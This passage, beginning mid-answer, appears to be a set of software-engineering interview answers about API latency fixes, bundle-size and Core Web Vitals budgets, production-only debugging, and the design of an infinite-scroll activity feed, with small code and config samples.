What I did after matters more than the argument. I didn't say "I told you so" in the channel. I wrote the sprite-sheet pipeline into the repo with a README so the next person could reuse it, and I told her the CSS version could get closer to her original if we added a second sprite for the mid-scroll beat. We shipped that in the follow-up release.

The part interviewers actually probe is what happens when the evidence doesn't settle it. It often doesn't. If the disagreement is about priority (she wants the animation this quarter, I want to pay down the bundle) no measurement decides it, because we're optimizing different things. That's her call, and my job is to make the cost visible in one line and then build what she picked. Same with taste: if she wants the button blue and I want it grey, I lose that argument on purpose.

Where I do escalate is narrow: when the decision is irreversible, or when it's a correctness or accessibility problem rather than a preference. A 400 KB library is reversible. Shipping a scroll animation that ignores prefers-reduced-motion is not a preference: that's a WCAG issue, and I'd raise it to the accessibility owner instead of relitigating it with the PM.

The failure mode I watch for in myself is relitigating. If I bring the same objection up twice after a decision, I've stopped being useful and started being a cost. One measurement, one alternative, one decision, then build it well.

Curated: · Written: · Reviewed:

Q&A-97Tell me about a time you made something measurably faster.

Last year I owned the order-history endpoint on our checkout service: Node 20, Postgres 15, roughly 40 requests a second at peak. p50 was 420 ms and p99 was 1.9 s, and support had a steady trickle of "my orders take forever" tickets. Here's what I measured, what the trace showed, what I changed, and what I deliberately left alone.

I pulled a trace of one p99 request: a customer with 60 orders. Handler time, in order:

SpanCost
SELECT orders WHERE customer_id = ?8 ms
SELECT line_items WHERE order_id = ? × 601.1 ms each, 66 ms total
GET pricing-service /price?sku=… × 6030 ms each, 1,800 ms total
handler total≈ 1.87 s

The arithmetic is the whole story: 60 sequential pricing calls at 30 ms is 1.8 s, about 95% of the p99. The N+1 on line items was real but only 66 ms: worth fixing, not the win. The tail tracked order count almost exactly, which is why p50 (12 orders) sat at 420 ms while p99 sat at 1.9 s.

The pricing service already had a batch endpoint, POST /prices, taking up to 100 SKUs. I replaced the per-order loop with one call per request, and added a covering index on line_items(order_id, sku) so the N+1 collapsed into a single join. Two weeks later, same 40 rps, measured at the load balancer: p50 420 ms → 95 ms, p99 1.9 s → 240 ms. The tail no longer tracks order count; what's left is pool checkout and GC. Postgres pool wait at p99 dropped from 180 ms to under 5 ms, which is most of the p99 improvement.

What I chose not to do: cache prices in Redis. A 60-second TTL would have taken p99 to roughly 60 ms, but this page shows the price the customer was charged, and a stale price there is a support ticket at best and a chargeback dispute at worst. The price has to come from the same source as the charge, so I kept the live call and made it one round trip instead of sixty. I also considered denormalizing line items onto the orders row, which would have removed the join entirely, but that's a migration on our largest table and the join was already down to 9 ms.

Two failure modes I had to handle. The batch endpoint caps at 100 SKUs, so orders above that: about 0.3% of traffic: fall back to the per-SKU path behind a flag; they stay slow rather than break. And if the pricing service times out, we render the order with the stored price and a "price unavailable" marker instead of failing the whole page.

The number that mattered was 30 ms × 60, not the N+1.

Curated: · Written: · Reviewed:

Q&A-96How do you stop a fast page from slowly getting slower?

The 90-second version. A page doesn't get slower because one change was bad. It gets slower because every change was fine and nobody owned the total. So the fix isn't a cleanup sprint: it's a gate plus an owner: a size budget that fails the pull request, and a field-metric budget reviewed weekly by a named engineer. The gate stops the 40 KB that would have shipped; the weekly review catches what the gate can't see: a third-party tag, a heavier device mix, a slower API behind an unchanged bundle.

Assumptions: CI runs on every PR, and you have field data (a web-vitals beacon or CrUX). Lab-only budgets drift from what users actually get.

Why it decays. Bundle cost is invisible at review time. A charting library for one screen, a second copy of lodash pulled in by a transitive dependency, a polyfill for a browser you no longer support, a marketing tag. Each is 20–60 KB gzipped and each passes review on its own. Illustrative figures: a page that shipped at 210 KB gzipped reached 940 KB in eight months, and no single PR was the one that broke it.

Two gates, different jobs. CI is deterministic and blocks the PR. Field data is noisy but real: it sees third-party scripts, slow devices and networks, and runtime cost that never appears in a bundle number. Budget both.

BudgetLimitCurrent
main bundle, gzipped250 KB210 KB
LCP, field p752.5 s1.9 s
INP, field p75200 ms90 ms
TBT, Lighthouse mobile200 ms120 ms

LCP 2.5 s and INP 200 ms are the Core Web Vitals "good" thresholds. TBT is the lab proxy for INP, which can only be measured from real interactions.

Enforcement. size-limit reads a config in package.json and exits non-zero when a limit is exceeded:

"size-limit": [
  { "name": "main bundle", "path": "dist/assets/index-*.js", "limit": "250 kB", "gzip": true }
]

Lighthouse CI does the same for lab metrics, in lighthouserc.json:

{ "ci": { "assert": { "assertions": {
  "largest-contentful-paint": ["error", { "maxNumericValue": 2500 }],
  "total-blocking-time": ["error", { "maxNumericValue": 200 }]
}}}}

Option names are stable across recent majors; check the version you pin.

What a breach looks like. A PR adds a charting library: main bundle goes 210 → 278 KB gzipped. size-limit exits 1 and the PR is blocked. The author either drops the library or opens a separate budget-change PR that names the trade ("we add 68 KB and delete the legacy polyfill bundle, net +12 KB") and the owner approves it. The raise is visible and dated, not silent.

Trade-offs and failure modes. A budget tight enough to be useful will occasionally block legitimate work; that's the point, and the escape hatch is a named trade, not a quiet bump. Watch for: the budget raised inside the same PR that breaches it; third-party scripts loaded outside the bundle and therefore uncounted; a desktop-only lab run while most traffic is mobile; a budget on total size that misses a runtime regression (a long task that wrecks INP with no bundle change); and a dashboard with no owner, which decays exactly like the page did.

Evidence it's working. A deliberate over-budget commit that fails CI, and the weekly field review with its owner named in the notes.

Curated: · Written: · Reviewed:

Q&A-95A bug appears only in production. How do you approach it?

The first 90 seconds

Two questions decide the approach: how many users are hitting it, and can I turn it off? If it's breaking checkout, I roll back the last deploy or flip the feature flag off before I open a debugger: minutes of work versus hours, and it buys a calm environment to find the cause. If impact is low and I can reproduce it, I debug first.

I'll assume a deployed service with a rollback path and a flag system; the same axes apply to a mobile app or a data pipeline.

A production-only bug means something differs between prod and every environment where the code works. I find that difference before I read application code. The axes, roughly in order of how often they're the cause:

  • Config: env vars, feature-flag defaults, secrets, timeouts. A flag that defaults false in code and is set true only in prod runs a code path dev never executes.
  • Artifact: the build itself. Minification, tree-shaking, NODE_ENV=production, compiler optimization levels, dependency versions locked differently.
  • Data: prod has rows dev doesn't. Nulls, unicode, 10M-row tables, a customer with 40k line items.
  • Concurrency and scale: 400 rps across 6 pods versus 5 rps on one laptop.
  • State: caches, service-worker caches, DB rows left by an earlier deploy.
  • Time and locale: timezone, DST, locale-specific formatting.

For the error itself I start with Sentry grouped by release, if the bug arrived with a specific deploy, the release tag answers it in one query, and source maps give me the real frame. If it spans releases, git bisect between the last good and first bad tag.

Choosing a strategy

| Situation | Move | Why | | --- | --- | | High blast radius, flag or rollback available | Roll back / flag off, then debug | Minutes to stop harm | | Reproducible with a prod build locally | Reproduce first | Cheapest evidence | | Can't reproduce, can't roll back | Instrument first, wait for next hit | Only path to data |

Instrument-first is the slow one, you're waiting for a rare event, so I only take it when the other two are closed. A canary deploy with the fix at 1% of traffic is how I confirm before a full rollout.

A worked example (hypothetical figures)

A service returns 500s on 0.4% of requests in prod, never in dev. Pool metrics show active_connections pinned at the max of 10 on every pod. A thread dump shows 30 threads blocked in socketRead on one downstream host. The code holds a DB connection across an HTTP call to that host with no timeout. In dev the call returns in 20 ms; in prod its p99 is 2 s and it occasionally hangs. Six pods × 10 connections = 60, all held, so new requests wait and time out. Fix: a 500 ms client timeout and pool max 20. The difference that mattered was concurrency plus a downstream latency profile, not the code.

What I'd avoid

Attaching a debugger to a live pod: it pauses the process. Logging request bodies to chase it: that's PII in your log store. Calling it "the network": that's a symptom, not a cause. And shipping the fix without a regression test that runs against a prod-like build, because the same difference will bite again.

Curated: · Written: · Reviewed:

Q&A-99Design the frontend for an activity feed with live updates, filters, and infinite scroll.

Two things decide this design: whether items are append-only, and how fast live updates arrive. I'll assume append-only, newest-first, a few thousand rows per filter, and bursts of 5–20 live items a minute. That gives keyset pagination, a pending buffer for live items, windowed rendering, and a per-filter cache. Here's the mechanism behind each, because the decisions are cheap to state and expensive to get wrong.

Pagination is keyset, not offset. The cursor is the sort key of the last row, (created_at, id), encoded opaquely and sent back as ?after=. The server turns it into a range predicate:

// GET /feed?filter=following&after=<base64 cursor>&limit=30
type Cursor = { createdAt: string; id: string }; // id breaks timestamp ties
// SQL: WHERE (created_at, id) < ($createdAt, $id)
//      ORDER BY created_at DESC, id DESC LIMIT 30

The id in the tuple is not decoration. Without it, two items sharing a timestamp either duplicate or vanish across a page boundary, because the predicate can't order them. Offset paging fails for a different reason: inserting at the head shifts every later page, so page 2 re-serves rows you already saw. The cost of keyset is real: no jumping to page 7, no cheap total count, and the cursor is only valid while the sort key is immutable. Sort by created_at, never by a mutable updated_at, or the cursor drifts and you get gaps.

Live updates never touch the rendered list. They land in a pending buffer, deduped by id against what's on screen, and surface as a "5 new items" pill. Clicking it merges and anchors the scroll:

function mergePending(rendered, pending, scroller) {
  const heightBefore = scroller.scrollHeight;
  const next = dedupeById([...pending, ...rendered]); // pending is newest-first
  requestAnimationFrame(() => {
    scroller.scrollTop += scroller.scrollHeight - heightBefore;
  });
  return next;
}

Trace it: scrollTop = 4000, scrollHeight = 12000, viewport 800px. Five pending items at 80px each add 400px, so scrollHeight becomes 12400 and scrollTop becomes 4000 + 400 = 4400. The row that was at the top of the viewport is still at the top, and the pointer doesn't move. Prepend without that adjustment and every click lands one row off: that's the 12%-misclick failure, and it's arithmetic, not taste.

Windowing bounds the DOM, not the data. Render visible rows plus ~8 overscan, with fixed 72px rows so offset is index * 72. A 5000-row feed keeps roughly 20 nodes mounted. Be precise about what that buys: memory is bounded because nodes are recycled, not because rows are dropped. The data array still grows, so cap the cache and evict by filter.

Filters are cache keys. Key on the filter signature plus cursor, so switching back to a filter you've seen renders instantly. A live item that matches the active filter goes to the pending buffer; one that doesn't match is dropped, not merged.

Where these decisions are wrong: buffering is the wrong call when the user is already at the top of the feed. There's nothing to protect, so insert directly and skip the pill. It's also wrong for chat, where a 3-second delay is worse than a jump. Windowing breaks Ctrl+F and the screen-reader virtual cursor unless you set aria-setsize and aria-posinset; variable-height rows need measurement before you can window them at all.

What I'd verify before calling it done: insert live items while scrolled into the list and confirm nothing moves under the pointer; scroll to the end of a filtered feed and confirm no duplicate ids across page boundaries; switch filters ten times and watch heap size to confirm the cache is evicting.

Curated: · Written: · Reviewed: